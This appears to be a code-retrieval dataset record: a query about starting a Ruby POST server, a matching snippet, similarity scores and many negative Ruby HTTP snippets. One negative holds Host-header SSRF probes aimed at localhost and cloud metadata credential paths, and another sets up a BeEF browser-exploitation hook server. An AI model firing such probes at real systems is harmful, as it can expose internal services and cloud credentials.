[ "0.70235085", "0.686838", "0.6537886", "0.6487472", "0.6483164", "0.6259526", "0.6257935", "0.6135462", "0.61339027", "0.6118243", "0.6113428", "0.6106488", "0.6095311", "0.6076044", "0.6068171", "0.5976807", "0.5968253", "0.5954785", "0.59322405", "0.5920989", "0.5916576", "0.5901822", "0.58979636", "0.5839473", "0.58139855", "0.58089626", "0.58037454", "0.5796415", "0.57570755", "0.5740059", "0.57123435", "0.56949925", "0.56949925", "0.56949925", "0.56949925", "0.56949925", "0.56949925", "0.56949925", "0.56949925", "0.56913257", "0.56809306", "0.56647277", "0.565991", "0.5659511", "0.56417006", "0.56393963", "0.5633884", "0.5611809", "0.5611399", "0.55484945", "0.5548192", "0.5548126", "0.554668", "0.5545893", "0.5540124", "0.5536892", "0.5532292", "0.5527972", "0.5523817", "0.5518813", "0.5513349", "0.55053735", "0.54963505", "0.5488533", "0.5488506", "0.5486921", "0.5482932", "0.5452544", "0.54428256", "0.5431188", "0.5431188", "0.54084957", "0.5405354", "0.53902745", "0.53882456", "0.5382855", "0.5375385", "0.53718394", "0.53718394", "0.5360992", "0.5360657", "0.5360393", "0.53594583", "0.5358133", "0.53565717", "0.5348568", "0.53372675", "0.533532", "0.5334623", "0.5330467", "0.5323084", "0.5308121", "0.53024065", "0.5289806", "0.5286776", "0.5280538", "0.5279143", "0.52754146", "0.52735895", "0.5270394" ]
0.6983412
1
Starts server for the API. POST server runs on takes the packageBody as a jsonString
def start_post_server() server = TCPServer.new('localhost', DEFAULT_POST_PORT) puts "POST Server running on http://localhost:#{DEFAULT_POST_PORT}/" while session = server.accept method, path = session.gets.split # In this case, method = "POST" and path = "/" headers = {} while line = session.gets.split(' ', 2) # Collect HTTP headers puts line break if line[0] == "" # Blank line means no more headers headers[line[0].chop] = line[1].strip # Hash headers by type end puts headers["Content-Length"].to_i data = JSON.parse(session.read(headers["Content-Length"].to_i)) # Read the POST data as specified in the header response = checkModes(data) # Do what you want with the POST data session.print "HTTP/1.1 200\r\n" # 1 session.print "Content-type:application/json\r\n" # 2 session.print "\r\n" # 3 session.print response #4 session.close end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start\n uri = URI.parse server\n http = Net::HTTP.new uri.host, uri.port\n response = http.post '/documents', input\n if response.is_a?(Net::HTTPOK)\n data = JSON.parse(response.body)\n STDOUT.puts \"#{server}/#{data['key']}\"\n else\n STDERR.puts \"failure uploading: #{response.code}\"\n end\n rescue RuntimeError, JSON::ParserError => e\n STDERR.puts \"failure uploading: #{response.code}\"\n rescue Errno::ECONNREFUSED => e\n STDERR.puts \"failure connecting: #{e.message}\"\n end", "def start\n params = {\n :migrate => migrate,\n :ref => ref,\n :serverside_version => serverside_version,\n }\n params[:migrate_command] = migrate_command if migrate\n post_to_api(params)\n end", "def start\n api = @settings[:api] || {}\n bind = api[:bind] || \"0.0.0.0\"\n port = api[:port] || 4567\n start_http_server(bind, port)\n super\n end", "def start_server\n loop do\n socket = @server.accept\n @pool.post do\n request = socket.gets\n unless request.nil?\n response = fetch_data(request)\n socket.print build_response(response)\n socket.print \"\\r\\n\"\n socket.print response[:message]\n end\n socket.close\n end\n end\n end", "def start_post\n request_file_path\n ipa_file_path = get_file_path\n request_notes\n release_notes = get_notes\n distribution_list = get_distribution_list #calls the fetch && confirm methods\n post_app(get_conf('end_point'), get_conf('api_key'), get_conf('team_key'), ipa_file_path, release_notes, distribution_list)\n end", "def post\n @response_body = make_request(\"#{api_url}#{endpoint}\", request_body.to_json)\n puts \"GLIMR POST: #{endpoint} - #{request_body.to_json}\" if ENV.key?('GLIMR_API_DEBUG')\n end", "def start\n config = { :Port => @port }\n @server = WEBrick::HTTPServer.new(config)\n @server.mount(\"/\", SimplerDB::RESTServlet)\n \n ['INT', 'TERM'].each do |signal| \n trap(signal) { @server.shutdown }\n end\n \n @server.start\n end", "def run(connection)\n connection.public_send(verb, path) do |request|\n request.params = params\n request.headers[:content_type] = Command::JSON_CONTENT_TYPE\n request.body = MultiJson.dump(body)\n end\n end", "def post\n RestClient.post(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def start\n prepare_parser\n perform_request\n end", "def start_server\n init \"Postview starting #{@server} on #{@options[:Host]}:#{@options[:Port]}\" do\n ENV['RACK_ENV'] = \"production\"\n config = @config.to_s\n @postview = eval(\"Rack::Builder.new{(\\n#{@source}\\n)}.to_app\", nil, config)\n @application = Rack::Builder.new do |application|\n use Rack::CommonLogger, STDOUT\n use Rack::ShowExceptions\n run application\n end.to_app\n end\n @server.run(@postview, @options)\n end", "def start\n @scheme_registry = create_scheme_registry\n @connection_manager = create_connection_manager\n\n @client = create_http_client\n end", "def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n server = @info_values['api_server']+\"/\"+space_slug\n else\n server = @info_values['api_server']\n end\n\n username = URI.encode(@info_values[\"api_username\"])\n password = @info_values[\"api_password\"]\n error_handling = @parameters[\"error_handling\"]\n\n route_base = \"#{server}/app/api/v1/teams\"\n\n puts \"API ROUTE: #{route_base}\" if @debug_logging_enabled\n\n resource = RestClient::Resource.new(route_base, { :user => username, :password => password })\n\n # Building the object that will be sent to Kinetic Core\n dataHash = {}\n\tdataHash[\"name\"] = @parameters[\"team_name\"]\n\tif !@parameters[\"members\"].empty?\n\t\tmembers = JSON.parse(@parameters[\"members\"])\n\t\tmembership = []\n\t\tmembers.each do |member|\n\t\t username = {}\n\t\t username[\"username\"] = member\n\t\t user = {}\n\t\t user[\"user\"] = username\n\t\t membership.push(user)\n\t\tend\n\t\tdataHash[\"memberships\"] = membership\n\tend\n\n\tputs \"DATA: #{dataHash.to_json}\" if @debug_logging_enabled\n\tbegin\n\t#create\n response = resource.post(dataHash.to_json, { accept: :json, content_type: :json })\n\n\n # Build the results to be returned by this handler\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\"></result>\n </results>\n RESULTS\n\n rescue RestClient::Exception => error\n error_message = JSON.parse(error.response)[\"error\"]\n if error_handling == \"Raise Error\"\n raise error_message\n else\n <<-RESULTS\n <results>\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\n </results>\n RESULTS\n end\n end\n end", "def tell_server(params={})\n uri = URI.parse(\"http://#{@options[:host]}:#{@options[:port]}/__middleman__\")\n Net::HTTP.post_form(uri, {}.merge(params))\n end", "def create_server\n\n end", "def server(api, port, options = {}, &blk)\n op = OptionParser.new\n\n s = Goliath::Server.new\n s.logger = setup_logger(options)\n s.api = api.new\n s.app = Goliath::Rack::Builder.build(api, s.api)\n s.api.options_parser(op, options)\n s.options = options\n s.port = port\n s.plugins = api.plugins\n @test_server_port = s.port if blk\n s.start(&blk)\n s\n end", "def post_request(api_server_base_url, api_server_path, method, params, use_ssl)\n \n # get a server handle\n port = (use_ssl == true) ? 443 : 80\n http_server = Net::HTTP.new(@api_server_base_url, port)\n http_server.use_ssl = use_ssl\n \n # build a request\n http_request = Net::HTTP::Post.new(@api_server_path)\n http_request.form_data = params\n response = http_server.start{|http| http.request(http_request)}.body\n # return the text of the body\n return response\n \n end", "def start(controller = Stream::StreamController.instance)\n # make sure all the keys are set\n validate_keys\n\n options = update_config_options\n\n # create a new server\n @server = WEBrick::HTTPServer.new(Port: options[:port])\n\n # start singleton stream controller\n @controller = controller.start\n\n # mount the REST server on webrick\n @server.mount '/', Http::HttpEndpoint\n\n trap_signals\n\n logger.info(\"Server starting with PID #{Process.pid}\")\n\n @server.start\n end", "def server(api, port, options = {}, &blk)\n op = OptionParser.new\n\n s = GrapeApe::Goliath::Server.new\n s.logger = setup_logger(options)\n s.api = api\n s.app = ::Goliath::Rack::Builder.build(api.class, s.api)\n s.api.options_parser(op, options)\n s.options = options\n s.port = port\n s.plugins = api.class.plugins\n @test_server_port = s.port if blk\n s.start(&blk)\n s\n end", "def start_server\n init \"Postview starting #{@server} on #{@options[:Host]}:#{@options[:Port]}\" do\n @postview = Rack::Builder.new do |application|\n use Rack::CommonLogger, STDOUT\n use Rack::ShowExceptions\n run Postview::Application::Blog\n end.to_app\n end\n @server.run(@postview, @options)\n end", "def entrypoint\n client.entrypoint\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts JSON.pretty_generate(result)\n result\nend", "def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def post endpoint, body = {}\n body.merge!(api_key: api_key, namespace: namespace)\n\n response = connection.post do |req|\n req.url endpoint\n req.body = body.to_json\n end\n\n format_response_or_raise_error(response)\n end", "def post(method, args=nil)\n http = new_http\n\n if api_key\n args[:api_key] = api_key\n end\n\n if api_version\n args[:api_version] = api_version\n end\n\n request = Net::HTTP::Post.new('/api/' + method)\n\n if args\n request.set_form_data(args)\n end\n\n result = invoke(http, request)\n JSON.parse(result.body)\n end", "def start()\n mime_types = WEBrick::HTTPUtils::DefaultMimeTypes\n mime_types['es6'] = 'application/javascript'\n server = WEBrick::HTTPServer.new(Port: @http_port,\n DocumentRoot: @http_dir,\n MimeTypes: mime_types)\n server.logger.level = 5 - @logger.level unless @logger.nil?\n server.mount(@pre_path, Handler, self)\n server.mount('/', ExportProxy, @http_dir) if @export_proxy\n\n trap 'INT' do server.shutdown end\n server.start\n end", "def post_json(path, body)\n uri = build_uri(path)\n #puts \"🤖 POST #{path}\"\n #puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n #puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n #puts result[:result]\n result\nend", "def prepare\n if not @http_server\n config = {}\n config[:BindAddress] = @configuration.get('beef.http.host')\n config[:Port] = @configuration.get('beef.http.port')\n config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)\n config[:ServerName] = \"BeEF \" + VERSION\n config[:ServerSoftware] = \"BeEF \" + VERSION\n \n @http_server = WEBrick::HTTPServer.new(config)\n \n # Create http handler for the javascript hook file\n mount(\"#{@configuration.get(\"beef.http.hook_file\")}\", true, BeEF::Core::Handlers::HookedBrowsers)\n \n # Create http handlers for all commands in the framework\n BeEF::Modules.get_loaded.each { |k,v|\n mount(\"/command/#{k}.js\", false, BeEF::Core::Handlers::Commands, k)\n }\n \n #\n # We dynamically get the list of all http handler using the API and register them\n #\n BeEF::API.fire(BeEF::API::Server::Handler, 'mount_handlers', self)\n end\n end", "def run\n super\n\n uri = _get_entity_name\n opt_target_env = _get_option(\"target_environment\")\n\n payloads = [\n {\n :environment => \"local\",\n :name => \"Localhost\",\n :host => \"127.0.0.1\",\n :path => \"/\",\n :success_regex => /^.*$/\n },\n #{\n # :environment => \"aws\",\n # :name => \"AWS Credential Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/latest/meta-data/\",\n # :success_regex => /Code\\\"/\n #},\n #{\n # :environment => \"aws\",\n # :name => \"AWS Host Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/latest/meta-data/hostname\",\n # :success_regex => /$.*internal$/\n #},\n #{\n # :environment => \"azure\",\n # :name => \"Azure Metadata\",\n # :host => \"169.254.169.254\",\n # :path => \"/metadata/instance?api-version=2017-08-01\",\n # :success_regex => /compute\\\"/\n #}\n ]\n\n _log \"Starting SSRF Responder server\"\n Intrigue::Task::Server::SsrfResponder.start_and_background\n\n # TODO We should test here for an ignored host header - just send nonsense\n # and see if it behaves the same (returns same content), if so, probably not\n # worth checking\n normal = http_request :get, uri\n #nonsense_response = http_request :get, uri, nil, {\"Host\" => \"-1\"}\n #response = http_request :get, uri, nil, {\"Host\" => \"-1\"}\n\n payloads.each do |payload|\n\n # if we're not checking all, then we should match the desired environment\n if opt_target_env != \"all\"\n unless opt_target_env.split(\",\").include? \"#{payload[:environment]}\"\n _log \"Skipping #{payload[:environment]}, target set to #{opt_target_env.split(\",\")}\"\n next\n end\n end\n\n # make the request and collect the response\n # TODO... handle a trailing slash here\n generated_uri = \"#{uri}#{payload[:path]}\"\n\n # call with the host header, and make sure not to follow redirects (we can end\n # up returning our own creds o_0\n response = http_request :get, generated_uri, nil, {\"Host\" => payload[:host] }, nil, 1\n\n #_log \"Testing payload: #{payload} on #{generated_uri}\"\n\n # check the response for success\n if response &&\n response.body_utf8[0..50] != normal.body[0..50] # && # not the same\n #!(response[\"location\"] =~ /127.0.0.1/) && # redirect... usually useless\n #response.code != \"301\" && # redirect... usually useless\n #response.code != \"302\" && # redirect... usually useless\n #response.code != \"400\" && # sometimes it's a generic 400, useless\n #response.code != \"403\" && # not a 403 (Cloudfront)\n #response.code != \"404\" # not a 404\n\n # only if it matches our success cond.\n unless response.body_utf8.match(payload[:success_regex])\n _log \"Interesting response, but doesn't match our success criteria\"\n _log \"---\"\n _log \"#{response.body_utf8}\"\n _log \"---\"\n next\n end\n\n _log \"SUCCESS!\"\n\n #_set_entity_detail \"host_header_ssrf\", {\n # \"host_header\" => \"#{payload[:host_header]}\",\n # \"code\" => \"#{response.code}\",\n # \"body\" => \"#{response.body_utf8}\"\n #}\n\n # save off enough information to investigate\n ssrf_issue = {\n name: \"Potential #{payload[:environment]} SSRF\",\n type: \"vulnerability\",\n description: \"SSRF on #{uri}\",\n severity: 3,\n status: \"potential\",\n details: {\n uri: \"#{generated_uri}\",\n host_header: \"#{payload[:host]}\",\n code: \"#{response.code}\",\n body: \"#{response.body_utf8.sanitize_unicode}\",\n normal_code: \"#{normal.code}\",\n normal_body: \"#{normal.body.sanitize_unicode}\"\n }\n }\n\n if response.code =~ /^3/\n ssrf_issue[:details][:redirect_location] = response[\"location\"]\n end\n\n _create_issue ssrf_issue\n\n else\n\n _log \"FAIL!\"\n if response\n _log \"Code: #{response.code}\"\n _log \"Response same as normal: #{response.body_utf8[0..199] == normal.body[0..199]}\"\n _log \"Response: #{response.body_utf8[0..79]}\"\n else\n _log \"No response!\"\n end\n\n end\n\n end # end payloads\n\n end", "def create\n megam_rest.post_appreq(to_hash)\n end", "def start\n #Start the appserver.\n print \"Spawning appserver.\\n\" if @debug\n @httpserv = Knjappserver::Httpserver.new(self)\n \n \n #Start Leakproxy-module if defined in config.\n if @config[:leakproxy]\n require \"#{File.dirname(__FILE__)}/class_knjappserver_leakproxy_server.rb\"\n @leakproxy_server = Knjappserver::Leakproxy_server.new(:kas => self)\n end\n \n \n STDOUT.print \"Starting appserver.\\n\" if @debug\n Thread.current[:knjappserver] = {:kas => self} if !Thread.current[:knjappserver]\n \n if @config[:autoload]\n STDOUT.print \"Autoloading #{@config[:autoload]}\\n\" if @debug\n require @config[:autoload]\n end\n \n begin\n @threadpool.start if @threadpool\n STDOUT.print \"Threadpool startet.\\n\" if @debug\n @httpserv.start\n STDOUT.print \"Appserver startet.\\n\" if @debug\n rescue Interrupt => e\n STDOUT.print \"Got interrupt - trying to stop appserver.\\n\" if @debug\n self.stop\n raise e\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def post_init\n @builder, @parser = Hatetepe::Builder.new, Hatetepe::Parser.new\n @builder.on_write << method(:send_data)\n # @builder.on_write {|data| p \"|--> #{data}\" }\n @parser.on_response << method(:receive_response)\n\n @queue = []\n\n @app = proc {|request| send_request(request) }\n\n self.comm_inactivity_timeout = config[:timeout]\n self.pending_connect_timeout = config[:connect_timeout]\n\n start_tls if config[:ssl]\n end", "def start\n # we trap CTRL+C in the console and kill the server\n trap(\"INT\") { BeEF::Core::Server.instance.stop }\n \n # starts the web server\n @http_server.start\n end", "def begin!\n start_server\n end", "def server_invoke(service, args, decode_method = nil)\n location, response = fetch(relative_uri(service), :post, args)\n response\n end", "def StartServer()\n @RPCServer = XMLRPC::Server.new(@@port)\n @RPCServer.add_handler(\"GameServer.GetServerResponse\", GameClientRequestHandler.new)\n PrintServerInfo()\n @RPCServer.serve\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{uri}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend", "def start!\n http_server.start\n self\n end", "def create\n @mock_server = MockServer.new(mock_server_params)\n\n respond_to do |format|\n if @mock_server.save\n format.json { render :show, status: :created, location: @mock_server }\n else\n format.json { render json: @mock_server.errors, status: :unprocessable_entity }\n end\n end\n end", "def installandlaunch(token, rid, filename , grant_all_permissions )\nuri = URI.parse(\"https://device.pcloudy.com/api/install_app\")\n@toSend = {\n \"token\"=>token, \"rid\"=>rid, \"filename\"=>filename, \"grant_all_permissions\"=>grant_all_permissions\n}.to_json\n\nhttps = Net::HTTP.new(uri.host,uri.port)\nhttps.use_ssl = true\nreq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})\nreq.body = \"#{@toSend}\"\nres = https.request(req)\nputs \"Response #{res.code} #{res.message}: #{res.body}\"\ninstallresp = JSON.parse(res.body)\noutput = installresp[\"result\"][\"msg\"]\nputs output\nend", "def run_pi\n key = request.headers[\"Authorization\"]\n format_token(key)\n\n pet = Pet.find_by(api_key: key)\n user_request = Request.find_by(pet_id: pet.id)\n feed_request = user_request.body\n schedule_request = user_request.schedule\n\n res = { feed_request: feed_request, schedule_request: schedule_request }\n render json: res\n end", "def startServer(params)\n @@server = HTTPServer.new(\n :Port => params[:webPort] || DEF_WEB_PORT,\n :Logger => Log4r::Logger.new(\"#{MObject.logger.fullname}::web\"),\n :RequestHandler => lambda {|req, resp|\n beforeRequestHook(req, resp)\n }\n )\n trap(\"INT\") { @@server.shutdown }\n\n path = File.dirname(params[:configDir]) + \"/favicon.ico\"\n @@server.mount(\"/favicon.ico\", HTTPServlet::FileHandler, path) {\n raise HTTPStatus::NotFound, \"#{path} not found.\"\n }\n @@server.mount_proc('/') {|req, res|\n res['Content-Type'] = \"text/xml\"\n body = [%{<?xml version='1.0'?><serviceGroups>}]\n @@registeredServices.each {|path, service|\n info = service.info\n name = service.serviceName\n body << \"<serviceGroup path='#{path}' name='#{name}'><info>#{info}</info></serviceGroup>\"\n }\n body << \"</serviceGroups>\"\n res.body = body.to_s\n }\nend", "def post_json(path, body)\n uri = build_uri(path)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n result = JSON.parse(response.body)\n puts result\n result\nend", "def initialSetup()\n\n\tputs \"Which user will you be tracking today?\"\n\tputs \"0: Enter new name\"\n\tputs \"1: Steve Rolphoson\"\n\tputs \"2: Jessica Silver\"\n\tnameSelect = gets.chomp\n\n\tif(nameSelect == \"1\")\n\t\t$patientName = \"Steve Rolphoson\"\n\telsif(nameSelect == \"2\")\n\t\t$patientName = \"Jessica Silver\"\n\telsif(nameSelect == \"0\")\n\t\tputs \"Enter patient name now: \"\n\t\t$patientName = gets.chomp\n\telse\n\t\tputs \"Invalid input\"\n\tend\n\n\tputs \"Which server will we be posting to today?\"\n\tputs \"1: Print to console\"\n\tputs \"2: Localhost\"\n\tputs \"3: DigitalOcean\"\n\tpostSelect = gets.chomp\n\n\tif(postSelect == \"1\")\n\t\t$postDestination = nil\n\telsif(postSelect == \"2\")\n\t\t$postDestination = \"http://localhost\"\n\telsif(postSelect == \"3\")\n\t\t$postDestination = \"http://104.236.38.217\"\n\telse\n\t\tputs \"Invalid input to post destination\"\n\tend\n\n\t$numDays = 0\n\tputs \"How many days would you like to generate?\"\n\t$numDays = gets.chomp\n\n\tputs \"Welcome \" + $patientName + \". Posting to \" + $postDestination.inspect + \". Generating \" + $numDays + \" days.\"\n\n\t##################\n\t##Authentication##\n\t##################\n\tif($postDestination != nil)\n\t\turi = URI.parse($postDestination + \"/api/authenticate\")\n\t\tusername = \"capstone\"\n\t\tpassword = \"capstone\"\n\t\t$http = Net::HTTP.new(uri.host, uri.port)\n\t\trequest = Net::HTTP::Post.new(uri.request_uri)\n\t\trequest.set_form_data({\"username\" => username, \"password\" => password})\n\t\tresponse = $http.request(request)\n\t\tmy_hash = JSON.parse(response.body)\n\t\t$token = my_hash['token']\n\n\t\t$uri = URI.parse($postDestination + \"/api/tags\")\n\t\t$http = Net::HTTP.new(uri.host, uri.port)\n\tend\nend", "def init\n\tbegin\n\t\tcase ARGV[0]\n\t\t\t#Starts the server\n\t\twhen \"server\"\n\t\t\tstart_server\n\n\t\t\t#Starts server as a daemon\n\t\twhen \"daemon\"\n\t\t\tdaemon\n\t\t\t#Build\n\t\twhen \"build\"\n\t\t\tARGV[1, ARGV.length].each{ |arg|\n\t\t\t# puts arg\n\t\t\thttp = Net::HTTP.new(HOST, PORT)\n\t\t\tresp, date = http.post('/build', arg)\n\t\t\tputs resp.body\n\t\t}\n\t\texit\n\n\t\t#Tells server to exit\n\t\twhen \"exit\"\n\t\t\thttp = Net::HTTP.new(HOST, PORT)\n\t\t\tresp, date = http.get('/exit')\n\t\t\tputs resp.body\n\t\t\texit\n\t\tend\n\n\t\t# When asking for the server and it refuses the connectio\n\t\t# mainly it's because the service is down\n\t\t# soooooo... let's start it!\n\trescue Errno::ECONNREFUSED\n\n\t\texit(1) if ARGV[0] == \"exit\"\n\n\t\tputs \"Server is down... starting it up, run this command again\"\n\t\tdaemon\n\n\t\t#Other errors\n\trescue => e\n\t\tputs \"Invalid command: #{e}\"\n\t\texit(1)\n\tend\nend", "def call\n # Print our banner and info in the dev mode\n print_marketing_info if Karafka::App.env.development?\n\n Contracts::ServerCliOptions.new.validate!(cli.options)\n\n # We assign active topics on a server level, as only server is expected to listen on\n # part of the topics\n Karafka::Server.consumer_groups = cli.options[:consumer_groups]\n\n Karafka::Server.run\n end", "def main \n hash_literal = ARGV[0]\n options = eval(hash_literal)\n\n set_server_uri(options[:uri])\n start_server(options)\n end", "def run\n client.run\n end", "def start\n @client = @socket.accept\n client_compliance = read_line # Check to make sure client is the correct version\n if client_compliance != $SERVER_VERSION\n write('Incorrect server compliance. Please update your api.')\n abort('A client has the wrong server compliance')\n end\n\n write('START')\n write(@team.number.to_s)\n end", "def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end", "def create\n api_service = Api.find_by(status: true).name\n result_hash = RouteCalculator.call(package_params.merge(service: api_service))\n @package = current_user.packages.new(result_hash.merge(package_params))\n \n respond_to do |format|\n if @package.save\n format.html { redirect_to @package, notice: \"Package was successfully created.\" }\n format.json { render :show, status: :created, location: @package }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_server(params)\n body = connection.post(\"/v2/servers/#{account}\", params).body\n async_response(body)\n end", "def setup\n\n @server = ItemServer.new :auth => :basic\n @server.start\n end", "def run\n trap('INT') { http_server.shutdown }\n http_server.start\n end", "def create\n megam_rest.post_appdefn(to_hash)\n end", "def start_server(server_uuid)\n response = post \"server/#{server_uuid}/start\"\n\n response\n end", "def create params\n raise_start_server unless Server::node\n new params\n end", "def start_server!; @server = TCPServer.open($port) end", "def http_post_request(req_body)\n\t\t#New http request (uri library deals with port and host on its own when parsing the url)\n\t\thttp = Net::HTTP.new(@uri.host, @uri.port)\n\t\t#Original api url get does not need SSL (bad solution but any other way would not seem to work properly)\n\t\tif caller[1][/`.*'/].nil? or not (caller[1][/`.*'/][1..-2] == \"initialize\")\n\t\t\t#Https security stuff (don't need security when getting initial api url)\n\t\t\thttp.use_ssl = true\n\t\t\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\t\tend\n\t\t#Post request using uri\n\t\trequest = Net::HTTP::Post.new(@uri.request_uri)\n\t\t#Sets request to use basic authentication using the given username and api_key\n\t\trequest.basic_auth(@username, @api_key)\n\t\t#Sets request to use json content type\n\t\trequest.content_type = \"application/json\"\n\t\t#Sets request body to json file passed\n\t\trequest.body = req_body\n\t\t#Executes setup request and returns body\n\t\thttp.request(request).body\n\tend", "def create\n authenticate_user!\n @server = Server.new(params[:server])\n\n respond_to do |format|\n if @server.save\n format.html { redirect_to @server, notice: 'Server was successfully created.' }\n format.json { render json: @server, status: :created, location: @server }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_request(options, path, post_data)\n\n result = {}\n\n http = Net::HTTP.new(ENV['NESSUS_HOST'], options[:port])\n http.use_ssl = @use_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n http.start do |http|\n req = Net::HTTP::Post.new(path)\n\n req['X-ApiKeys'] = \"accessKey=#{ENV['NESSUS_ACCESS_KEY']}; secretKey=#{ENV['NESSUS_SECRET_KEY']}\"\n req.body = post_data\n \n resp, data = http.request(req)\n \n if resp.code.eql? '200'\n #print \"Data: \" + JSON.pretty_generate(JSON.parse(resp.body.to_s))\n result = JSON.parse(resp.body.to_s)\n else\n puts \"Error: \" + resp.code.to_s + \"\\n\" + resp.body\n end\n end\n\n return result\n end", "def call(opts={})\n server = WEBrick::HTTPServer.new(Port: @port)\n auth_details = {}\n\n server.mount_proc('/') do |req, res|\n res.body = js_template\n end\n\n server.mount_proc('/send_token') do |req, res|\n auth_details = JSON.parse(req.body)\n res.body = 'token sent'\n\n server.shutdown # server will shutdown after completing the request\n end\n\n trap \"INT\" do server.shutdown end\n\n Launchy.open(\"#{@auth_host}#{OAUTH_ENDPOINT}?#{oauth_query_string}\")\n server.start\n\n merged_options = opts.merge(auth_details).merge(client_id: @client_id, api_version: '39.0').inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n merged_options[:oauth_token] = merged_options[:access_token] if merged_options[:access_token]\n @client.call(merged_options)\n end", "def create_server(zone: \"fi-hel1\", title:, hostname:, core_number: 1,\n memory_amount: 1024, storage_devices:, ip_addresses: :all)\n data = {\n \"server\" => {\n \"zone\" => zone,\n \"title\" => title,\n \"hostname\" => hostname,\n \"core_number\" => core_number,\n \"memory_amount\" => memory_amount,\n \"storage_devices\" => { \"storage_device\" => storage_devices }\n }\n }\n\n if ip_addresses != :all\n ips = []\n ips << { \"access\" => \"public\", \"family\" => \"IPv4\" } if ip_addresses.include? :public\n ips << { \"access\" => \"private\", \"family\" => \"IPv4\" } if ip_addresses.include? :private\n ips << { \"access\" => \"public\", \"family\" => \"IPv6\" } if ip_addresses.include? :ipv6\n\n data[\"server\"][\"ip_addresses\"] = {}\n data[\"server\"][\"ip_addresses\"][\"ip_address\"] = ips\n end\n\n json = JSON.generate data\n response = post \"server\", json\n response\n end", "def start_server(server)\n server.start\n end", "def post_init\n send_data @init_request\n end", "def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend", "def start_configuration\n post \"/setup/api/configure\", password_hash\n end", "def create_server(server_name, environment_name, login, remote_addr, remote_path, shell_code = \"\")\n server = get_server(server_name, environment_name)\n if server['environment'].nil?\n server['environment'] = create_server_environment(environment_name)\n end\n if server['server'].nil?\n new_env = RestClient.post(\n \"#{@project_url}release_servers.json?environment_id=#{server['environment']['id']}\",\n {\n \"release_server\" => {\n \"name\" => server_name,\n \"remote_path\" => remote_path,\n \"authenticate_by_key\" => true,\n \"login\" => login,\n \"port\" => 22,\n \"protocol\" => \"sftp\",\n \"local_path\" => \"/\",\n \"remote_addr\" => remote_addr,\n \"shell_code\" => shell_code\n },\n },\n {\n 'Content-Type' => 'application/json'\n }\n )\n new_env = JSON.parse(new_env)\n return {'status' => 'created', 'release_server' => new_env['release_server']}\n\n else\n return {'status' => 'exists', 'release_server' => server['server']}\n end\n end", "def start_client\n @client = Client.new(@configure.apis)\n @client.run\n end", "def initialize_server(port)\r\n set :port, port # Specify Port For Sinatra Server\r\n set :bind, \"0.0.0.0\" # Allow Ping From External Devices\r\n set :environment, :production # Allow External Nodes To Query Websocket\r\n set :run, true # Start Sinatra Server\r\nend", "def create\n @package = Package.create(package_params)\n\n render json: @package\n end", "def start\n @logger.debug { \"Opening server\" }\n @tcp_server = TCPServer.new(@ip, @port)\n @logger.debug { \"Listening to #{@ip} port #{@port}\n pointing #{ROOT_DIR}\" }\n\n answer_worker = AnswerWorker.new\n client = nil\n loop do\n begin\n client = @tcp_server.accept\n @logger.debug { \"Server accepted new request\" }\n 